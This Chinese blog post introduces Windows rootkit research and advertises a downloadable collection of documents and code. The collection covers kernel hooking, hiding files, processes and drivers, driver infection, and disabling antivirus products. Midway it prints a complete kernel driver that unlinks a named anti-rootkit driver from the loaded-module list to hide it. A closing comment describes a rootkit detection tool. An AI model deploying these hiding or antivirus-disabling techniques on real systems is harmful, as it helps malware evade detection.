Rootkit的学习与研究--简介和学习电子书籍

Rootkit是什么?估计很多朋友并不明白,简单的说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。技术是双刃剑,我们研究它的目的在于,透过我们的研究,用这项技术来保护我们的系统,使我们的系统更加健壮,充分发挥这个技术的正面应用。

对于ROOTKIT专题的研究,主要涉及的技术有如下部分:
  
1. 内核hook
   对于hook,从ring3有很多,ring3到ring0也有很多,根据api调用环节递进的顺序,在每一个环节都有hook的机会,可以有int 2e或者sysenter hook,ssdt hook,inline hook ,irp hook,object hook,idt hook等等。
   1)object hook
   2)ssdt hook
   3)inline-hook
   4)idt hook
   5)IRP hook
   6)SYSENTER hook
   7)IAT HOOK
   8)EAT HOOK

2. 保护模式篇章第一部分: ring3进ring0之门
   1)通过调用门访问内核
   2)通过中断门访问内核
   3)通过任务门访问内核
   4)通过陷阱门访问内核


3。保护模式篇章第二部分:windows分页机制
   1)windows分页机制
   
4。保护模式篇章第三部分:直接访问硬件
   1)修改iopl,ring3直接访问硬件
   2)追加tss默认I/O许可位图区域
   3)更改tss I/O许可位图指向

5。detour 修改函数执行路径,可用于对函数的控制流程进行重定路径。
   1)detour补丁
   

6. 隐身术
   1)文件隐藏
   2)进程隐藏
   3)注册表键值隐藏
   4)驱动隐藏
   5)进程中dll模块隐藏
   6)更绝的隐藏进程中的dll模块,绕过IceSword的检测
   7)端口隐藏
  
7。ring0中调用ring3程序
  1) apc方式
  2) deviceiocontrol 方式

8。进程线程监控
  1)监控进程创建
  2)杀线程
  3)保护进程和屏蔽文件执行   

9。其他
  1)获取ntoskrnl.exe模块地址的几种办法
  2)驱动感染技术扫盲
  3)shadow ssdt学习笔记
  4)高手进阶windows内核定时器之一
  5)高手进阶windows内核定时器之二
  6)运行期修改可执行文件的路径和Command Line
  7)查找隐藏驱动
  8)装载驱动的几种办法
  9)内核中注入dll的一种流氓方法
  10)另一种读写进程内存空间的方法
  11)完整驱动感染代码
  12)Hook Shadow SSDT
  13)ring0检测隐藏进程

电子书里面内容:
└─Rootkit
    ├─1。 内核hook
    │  ├─1)object hook
    │  │      1)object hook.doc
    │  │
    │  ├─2)ssdt hook
    │  │      2)ssdt hook.doc
    │  │      SSDT Hook的妙用-对抗ring0 inline hook .doc
    │  │      swk0207.rar
    │  │
    │  ├─3)inline-hook
    │  │      360SuperKill学习之--恢复FSD的IRP处理函数.doc
    │  │      3)inline-hook.doc
    │  │      cnnic.rar
    │  │      ExpLookupHandleTableEntry.rar
    │  │      ExpLookupHandleTableEntry2.rar
    │  │      kill_SecuritySoftware.rar
    │  │      PsLookupProcessByProcessId执行流程学习笔记.doc
    │  │      句柄啊,3层表啊,ExpLookupHandleTableEntry啊.doc
    │  │      干掉KV 2008, Rising等大部分杀软.doc
    │  │      搜索未导出的函数地址.doc
    │  │
    │  ├─4)idt hook
    │  │      bhwin_keysniff.rar
    │  │      IDT Hook .doc
    │  │
    │  ├─5)IRP hook
    │  │      5)IRP hook.doc
    │  │      irphook1.rar
    │  │      irphook2.rar
    │  │      irphook3.rar
    │  │
    │  ├─6)SYSENTER hook
    │  │      6)SYSENTER hook.doc
    │  │      SysEnterHook.rar
    │  │
    │  ├─7)IAT HOOK
    │  │      7)IAT HOOK.doc
    │  │      HybridHook.rar
    │  │      testtest.rar
    │  │
    │  └─8)EAT HOOK
    │          8)EAT HOOK.doc
    │          利用导出表来禁止一些驱动程序的加载.doc
    │          导出表钩子.rar
    │
    ├─2。保护模式篇章第一部分: ring3进ring0之门
    │  ├─1)通过调用门访问内核
    │  │      1)通过调用门访问内核.doc
    │  │      myCallGate.rar
    │  │      test.rar
    │  │
    │  ├─2)通过中断门访问内核
    │  │      2)通过中断门访问内核.doc
    │  │      myIntGate.rar
    │  │
    │  ├─3)通过任务门访问内核
    │  │      3)通过任务门访问内核.doc
    │  │      MyTaskGate.rar
    │  │
    │  └─4)通过陷阱门访问内核
    │          4)通过陷阱门访问内核.doc
    │          exe.rar
    │          src.rar
    │
    ├─3。保护模式篇章第二部分:windows分页机制
    │      1)windows分页机制.doc
    │
    ├─4。保护模式篇章第三部分:直接访问硬件
    │  ├─1)修改iopl,ring3直接访问硬件
    │  │      1)修改iopl,ring3直接访问硬件.doc
    │  │      drv.rar
    │  │      exe.rar
    │  │
    │  ├─2)追加tss默认IO许可位图区域
    │  │      2)追加tss默认IO许可位图区域.doc
    │  │      drv.rar
    │  │
    │  └─3)更改tss IO许可位图指向
    │          3)更改tss IO许可位图指向.doc
    │          modifyiopmbase.rar
    │          porttalk.rar
    │
    ├─5。detour 修改函数执行路径,可用于对函数的控制流程进行重定路径。
    │  └─1)detour补丁
    │          1)detour补丁.doc
    │          Inline HOOK SeSinglePrivilegeCheck.rar
    │
    ├─6. 隐身术
    │  ├─1)文件隐藏
    │  │      1)文件隐藏.doc
    │  │
    │  ├─2)进程隐藏
    │  │      2)进程隐藏.doc
    │  │
    │  ├─3)注册表键值隐藏
    │  │      3)注册表键值隐藏.doc
    │  │      BypassRegMon.rar
    │  │      BypassRegMon2[1].idb.rar
    │  │      BypassRegMon_src.rar
    │  │      drv.rar
    │  │      HIVE文件读写.rar
    │  │      HIVE格式.rar
    │  │      HIVE格式解析.doc
    │  │      注册表监控弱点演示程序 v0.2 逆向ASM源码及相关资料.doc
    │  │
    │  ├─4)驱动隐藏
    │  │      4)驱动隐藏.doc
  1. 驱动隐藏的代码附件里没有,这里把代码贴上,来源于看雪:
  2. /*
  3.   * 【作者:莫灰灰(LSG)】
  4.   * 【空间:http://hi.baidu.com/hu3167343】
  5.   */

  6. #include <ntddk.h>

  7. typedef unsigned long DWORD;

  8. typedef struct _KLDR_DATA_TABLE_ENTRY {
  9.      LIST_ENTRY InLoadOrderLinks;
  10.      PVOID ExceptionTable;
  11.      ULONG ExceptionTableSize;
  12.      PVOID GpValue;
  13.      DWORD UnKnow;
  14.      PVOID DllBase;
  15.      PVOID EntryPoint;
  16.      ULONG SizeOfImage;
  17.      UNICODE_STRING FullDllName;
  18.      UNICODE_STRING BaseDllName;
  19.      ULONG Flags;
  20.      USHORT LoadCount;
  21.      USHORT __Unused5;
  22.      PVOID SectionPointer;
  23.      ULONG CheckSum;
  24.      PVOID LoadedImports;
  25.      PVOID PatchInformation;
  26. } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

  27. PDRIVER_OBJECT pDriverObject = NULL;

  28. VOID
  29. HideDriver()
  30. {
  31.      PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
  32.      PKLDR_DATA_TABLE_ENTRY firstentry;
  33.      UNICODE_STRING uniDriverName;
  34.      
  35.      firstentry = entry;

  36.      // 初始化要隐藏驱动的驱动名
  37.      RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
  38.      
  39.      while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
  40.      {
  41.          if (entry->FullDllName.Buffer != 0)
  42.          {   
  43.              if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
  44.              {
  45.                  KdPrint(("隐藏驱动 %ws 成功!\n", entry->BaseDllName.Buffer));   
  46.                  // 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动
  47.                  *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
  48.                  entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
  49.                  
  50.                  /*
  51.                      使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己
  52.                      因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时,
  53.                      系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
  54.                      但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被
  55.                      卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
  56.                      造成随机性的BSoD.
  57.                  */
  58.                  entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
  59.                  entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);

  60.                  break;
  61.              }
  62.          }
  63.          // 链表往前走
  64.          entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
  65.      }
  66. }

  67. NTSTATUS
  68. UnloadDriver(
  69.               IN PDRIVER_OBJECT DriverObject
  70.               )
  71. {
  72.      return STATUS_SUCCESS;
  73. }

  74. NTSTATUS
  75. DriverEntry(
  76.              IN PDRIVER_OBJECT DriverObject,
  77.              IN PUNICODE_STRING  RegistryPath
  78.              )
  79. {
  80.      DriverObject->DriverUnload = UnloadDriver;
  81.      pDriverObject = DriverObject;
  82.      HideDriver();
  83.      return STATUS_SUCCESS;
  84. }
复制代码
│  │
    │  ├─5)进程中dll模块隐藏
    │  │      5)进程中dll模块隐藏.doc
    │  │
    │  ├─6)更绝的隐藏进程中的dll模块,绕过IceSword的检测
    │  │      6)更绝的隐藏进程中的dll模块,绕过IceSword的检测.doc
    │  │
    │  └─7)端口隐藏
    │          7)端口隐藏.doc
    │
    ├─7。ring0中调用ring3程序
    │  ├─1) apc方式
    │  │      1) apc方式 .doc
    │  │      KernelExec.rar
    │  │
    │  └─2) deviceiocontrol 方式
    ├─8。进程线程监控
    │  ├─1)监控进程创建
    │  │      1)监控进程创建.doc
    │  │      protect.rar
    │  │
    │  ├─2)杀线程
    │  │      2)杀线程.doc
    │  │
    │  └─3)保护进程和屏蔽文件执行
    │          3)保护进程和屏蔽文件执行  .doc
    │          sysnap.rar
    │
    └─9。其他
        ├─10)另一种读写进程内存空间的方法
        │      10)另一种读写进程内存空间的方法.doc
        │
        ├─11)完整驱动感染代码
        │      11)完整驱动感染代码.doc
        │      驱动感染成功[1].V 1.0.080528_sudami.rar
        │
        ├─12)Hook Shadow SSDT
        │      12)Hook Shadow SSDT.doc
        │      HookShadowSSDT.rar
        │
        ├─13)ring0检测隐藏进程
        │      13)ring0检测隐藏进程.doc
        │      Ring0下搜索内存枚举隐藏进程.doc
        │
        ├─1)获取ntoskrnl.exe模块地址的几种办法
        │      1)获取ntoskrnl.exe模块地址的几种办法.doc
        │
        ├─2)驱动感染技术扫盲
        │      2)驱动感染技术扫盲.doc
        │      InfectDriver.rar
        │
        ├─3)shadow ssdt学习笔记
        │      3)shadow ssdt学习笔记.doc
        │
        ├─4)高手进阶windows内核定时器之一
        │      4)高手进阶windows内核定时器之一.doc
        │      WorkItem.rar
        │
        ├─5)高手进阶windows内核定时器之二
        │      5)高手进阶windows内核定时器之二.doc
        │      TimerWorks.rar
        │
        ├─6)运行期修改可执行文件的路径和Command Line
        │      6)运行期修改可执行文件的路径和Command Line.doc
        │      ImgPathChanger.rar
        │
        ├─7)查找隐藏驱动
        │      7)查找隐藏驱动.doc
        │
        ├─8)装载驱动的几种办法
        │      8内核模式下装载驱动和原生态应用程序.pdf
        │      8)装载驱动的几种办法.doc
        │      Loading drivers and Native applications from kernel mode, withou
t touching registry.rar
        │
        └─9)内核中注入dll的一种流氓方法
                9)内核中注入dll的一种流氓方法.doc
                Apc.rar

Rootkit.rar (6.06 MB, 下载次数: 4208)
2011-5-27 00:11:28 上传
下载次数: 4208

RooKit.pdf (3.64 MB, 下载次数: 2097)
2011-5-29 22:41:42 上传
下载次数: 2097
为大家做了个PDF的文档,方便阅读,O(∩_∩)O~
注:来自看雪学院

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
一:SSDT表的hook检测和恢复 ~!~~~ 二:IDT表的hook检测和恢复 ~~~~~~(idt多处理器的恢复没处理,自己机器是单核的,没得搞,不过多核的列举可以) 三:系统加载驱动模块的检测 通过使用一个全局hash表(以DRIVEROBJECT为对象)来使用以下的方法来存储得到的结果,最终显示出来 1.常规的ZwQuerySystemInformation来列举 2通过打开驱动对象目录来列举 3搜索内核空间匹配驱动的特征来列举(这个功能里面我自己的主机一运行就死机,别的机器都没事,手动设置热键来蓝屏都不行,没dump没法分析,哎,郁闷) 4从本驱动的Modulelist开始遍历来列举驱动 :进程的列举和进程所加载的dll检测 采用以下方法来列举进程: 1ZwQuerySystemInformation参数SystemProcessesAndThreadsInformation来枚举 2进程EPROCESS 结构的Activelist遍历来枚举 3通过解析句柄表来枚举进程 4通过Handletablelisthead枚举进程 5进程创建时都会向csrss来注册,从这个进程里面句柄表来枚举进程 6通过自身进程的HANDLETABLE来枚举进程 7通过EPROCESS的SessionProcessLinks来枚举进程 8通过EPROCESS ---VM---WorkingSetExpansionLinks获取进程 9暴力搜索内存MmSystemRangeStart以上查找PROCESS对象 进程操作: 进程的唤醒和暂停通过获取PsSuspendProcess和PsResumeProcess来操作的 进程结束通过进程空间清0和插入apc。 采用以下方法查找DLL: 1遍历VAD来查找dll 2挂靠到对应的进程查找InLoadOrderLinks来枚举dll 3暴力搜索对应进程空间查找pe特征来枚举dll DLL的操作: Dll的卸载是通过MmUnmapViewOfSection和MmmapViewOfSection(从sdt表中相应函数搜索到的)来实现的(本来想直接清0 dll空间,有时行有时不行)(只要将这个进程的ntdll卸载了,进程就结束了,一个好的杀进程的办法撒,绿色环保无污染),注入dll使用的是插入apc实现的。(注入的dll必须是realse版的。Debug版会出现***错误,全局dll注入貌似也是)插入apc效果不是很好,要有线程有告警状态才执行。 五:线程信息的检测 遍历ThreadList来枚举线程 线程的暂停和唤醒都是通过反汇编获取PsResumeThread和PsSuspendThread直接从r3传来ETHREAD来操作的,通过插入APC来结束线程 六:shadow sdt表的hook检测与恢复 没有采用pdb来解决函数名问题,直接写入xp和03的shandow表函数名(主要是自己的网不稳定,连windbg有时都连不上微软) 七:系统所有的过滤驱动的检测 查看各device下是否挂接有驱动之类的,可直接卸载 八:系统常用回调历程的检测和清除 只检查了PsSetLoadImageNotifyRoutine PsSetCreateThreadNotifyRoutine PsSetCreateProcessNotifyRoutine CmRegisterCallback这几个,至于那个什么shutdown回调不知道是啥玩意,就没搞了,有知道的顺便告诉我下撒,谢谢 九:文件系统fat和ntfs的分发函数检测 直接反汇编fat和ntfs的DriverEntry得到对应的填充分发的偏移,然后和当前已经运行的文件系统的分发相比是否被hook,并附带恢复 十:文件查看功能 自己解析ntfs和fat的结构,来实现列举文件和直接写磁盘删除。附带有普通的删除和发生IRP来删除。不过这里面有点问题,ntfs删除有时把目录给搞坏了,大家凑合着吧, Ntfs网上删除这些操作的代码不多,就是sudami大大的利用ntfs-3g来实现的,看了下,太多了,充满了结构。然后自己对照着系统删除文件时目录的变化来自己实现的。只处理了$BITMAP对应的位清除,父目录的对应文件的索引项的覆盖,删除文件对应的filerecord清0. 另外偷懒时间都没处理,呵呵,y的,一个破时间都都搞好几个字节移来移去的。 十一:常用内核模块钩子的检测和恢复 这里只检测了主要的内核模块nkrnlpa**.exe的.win32k.sys,hal.dll,比对它们的原始文件从而查找eat inline hook,iat hook ,和inline hook。Inline是从TEXT段开始一段位置开始比较的。(有点慢貌似,等待显示扫描完成就好了) 十二:应用层进程所加载dll的钩子 应用层钩子检测和内核模块钩子检测原理一样,不过为了能读写别的进程的空间,并没有使用openprocess去打开进程,而是通过KiattachProcess挂靠到当前进程,然后通过在r0直接读写进程空间的。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值